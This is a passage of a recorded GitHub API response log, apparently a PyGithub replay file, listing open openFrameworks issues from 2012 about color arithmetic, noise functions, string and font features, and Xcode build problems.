50)","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"}],"title":"ofColor subtraction and negative values","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-06T07:56:44Z","updated_at":"2012-05-01T04:21:01Z","comments":9,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1144,"id":4001148,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/jembezmamy","gravatar_id":"69a23dc9914cb6bc3202c50e15eabba0","login":"jembezmamy","avatar_url":"https://secure.gravatar.com/avatar/69a23dc9914cb6bc3202c50e15eabba0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":720354}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1138","html_url":"https://github.com/openframeworks/openFrameworks/issues/1138","body":"When using the dragEvent ofDragInfo I always get the following error message:\r\n\r\nwarning: Could not find object file \"/Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/openFrameworks/apps/devApps/macDragDropExample/buildGlutFrameworkHackedWindowLevel10.4/libForeground.a(macx_foreground.o)\" - no debug information available for \"/Users/mcast/Code/GLUT-ToPost/macx_foreground.m\".\r\n\r\nIt doesn't seem to hurt my code but is a bit annoying, especially early on when I wasn't sure if it had anything to do with compile failings. Not a big issue obviously, but it might confuse some other newbie's also.\r\n\r\n(OF 0.07 - Xcode 4.2.1 - OS X 10.7.3 - macbook pro) ","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","color":"2a8296","name":"macOS"}],"title":"benign error message","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-04T11:05:57Z","updated_at":"2012-04-04T12:07:24Z","comments":1,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1138,"id":3968742,"assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"state":"open","user":{"url":"https://api.github.com/users/davideo71","gravatar_id":"42c3c1acbdb4a998d8096b49745219cd","login":"davideo71","avatar_url":"https://secure.gravatar.com/avatar/42c3c1acbdb4a998d8096b49745219cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1611385}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134","html_url":"https://github.com/openframeworks/openFrameworks/issues/1134","body":"theo's #1133 made me think about ways that i use noise regularly that might also be abstracted.\r\n\r\ni would also like to see versions of noise that return multidimensional results. normally i do something like:\r\n\r\n\tofVec2 a(ofSignedNoise(t, 0), ofSignedNoise(0, t)); // 1D -> 2D\r\n\tofVec2 b(ofSignedNoise(x, 0), ofSignedNoise(0, y)); // 2D -> 2D\r\n\tofVec3 c(ofSignedNoise(t, 0, 0), ofSignedNoise(0, t, 0), ofSignedNoise(0, 0, t)); // 1D -> 3D\r\n\tofVec3 d(ofSignedNoise(x, 0, 0), ofSignedNoise(0, y, 0), ofSignedNoise(0, 0, (x + y) / 2)); // 2D -> 3D\r\n\r\nand it would be good to spend some time making sure these are really good ways of doing it, then implement them inside some functions like `ofSignedNoise2()` and `ofSignedNoise3()` (for example).","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"}],"title":"multidimensional noise output","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-01T16:44:55Z","updated_at":"2012-04-03T17:37:10Z","comments":2,"milestone":null,"number":1134,"id":3917377,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '55788'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"866bf23c3eacebec1bf87ae32d99f1d0"'), ('date', 'Tue, 29 May 2012 20:18:27 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-01T17:48:12Z","body":"ie: the equivalent of doing \r\n\r\nfloat rate = 0.02 + ofNoise(ofGetElapsedTimeF() * 0.02, 100.0) * 0.015;\r\nfloat value = ofSignedNoise( rate, x, y ); \r\n\r\nas one function. \r\n\r\nalso see kyle's #1134 for other noise utils. \r\n\r\nI find myself needing this quite often for more natural random motion where the rate of change is variable. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133","comments":0,"milestone":null,"number":1133,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1133","assignee":null,"title":"ofNoise and ofSignedNoise with 2nd order control for rate.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T15:45:11Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-02T02:05:52Z","body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","comments":6,"milestone":null,"number":1132,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","assignee":null,"title":"ofStringUtils:: feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-31T17:52:48Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3911629,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-27T17:40:30Z","body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","comments":25,"milestone":null,"number":1131,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","assignee":null,"title":"ofTTF feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T17:36:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3911537,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-31T14:44:01Z","body":"Agree on a common format for a header in the contributed example files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1130,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","assignee":null,"title":"Define standard header for examples.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-31T14:44:01Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3910580,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-24T02:12:05Z","body":"\r\n\r\nXcode 4 mangles OF projects pretty badly in the following ways: \r\n\r\na) it autogenerates schemes, and \"openframeworks\" appears as the chosen scheme\r\nb) it sometimes chooses the wrong SDK for OF -- is there a way to set that?\r\nc) debug and release are not really clear, part of this is a shift in xcode -- but it's much harder to see how things are compiled and to set release or debug\r\nd) I still had issues with OF needing to be recompiled all the time. I tried to fix this, but we should make sure it's done right. the of lib was appearing red even though it had been built, etc. \r\n\r\nI've tried to fix some of this in detroit with the PG, but I don't think it's the right way to do it. Overall, it would be great to have projects work smoothly on xcode 4...\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1129","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1129,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1129","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"xcode 4 issues: scheme, auto-generation of schemes, rebuilding OF, sdk, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-31T14:39:04Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3910555,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-31T16:32:04Z","body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","comments":1,"milestone":null,"number":1128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","assignee":null,"title":"upgrade scripts","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T14:38:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3910549,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T16:47:04Z","body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","assignee":null,"title":"PG Feature request: Clean examples folder","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-30T12:51:30Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3897090,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-29T16:47:29Z","body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","comments":0,"milestone":null,"number":1124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","assignee":null,"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-29T16:47:29Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3883598,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-29T13:05:25Z","body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","comments":2,"milestone":null,"number":1120,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","assignee":null,"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-28T16:21:45Z","state":"open","user":{"url":"https://api.github.com/users/imanhp","gravatar_id":"7398ab0bbd07832d0289f26773e65077","login":"imanhp","id":1216228,"avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3856005,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-30T12:19:59Z","body":"paths.make should be in the repo as an example on how to set it up correctly, but changes (i.e. paths unique to every user) to it should be ignored cause everyone will have a different version in their computers so we don't want personal changes to appear in git status.\r\n\r\nI think the best way to solve this is to rename it to paths.make.default, keep this in the repo, maybe with `` instead of your path, and have people make their own paths.make from that one. We track changes to paths.make.default and ignore paths.make. \r\n\r\nThis will probably also need a mechanism in the makefile to fail gracefully and remind the user, if his customized paths.make is missing.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1118","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1118,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1118","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Default paths.make for Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2012-03-28T12:19:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3850655,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-18T17:13:36Z","body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","comments":0,"milestone":null,"number":1117,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","assignee":null,"title":"Can't retrieve desired frame rate once set","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-27T11:48:00Z","state":"open","user":{"url":"https://api.github.com/users/armadillu","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","login":"armadillu","id":167057,"avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3825582,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-26T22:27:14Z","body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","comments":5,"milestone":null,"number":1116,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","assignee":null,"title":"ofVBO updateIndexData incorrect buffer type.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-26T18:26:05Z","state":"open","user":{"url":"https://api.github.com/users/vade","gravatar_id":"37aca214d4875cd90af9d67072c82642","login":"vade","id":65011,"avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3813852,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-26T18:45:51Z","body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","comments":3,"milestone":null,"number":1115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","assignee":null,"title":"optimization level in xcode projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":null,"created_at":"2012-03-26T17:05:14Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3812318,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-31T15:31:31Z","body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","comments":1,"milestone":null,"number":1114,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","assignee":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"macros in ofArduino","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-26T17:02:21Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3812275,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-27T14:56:56Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd 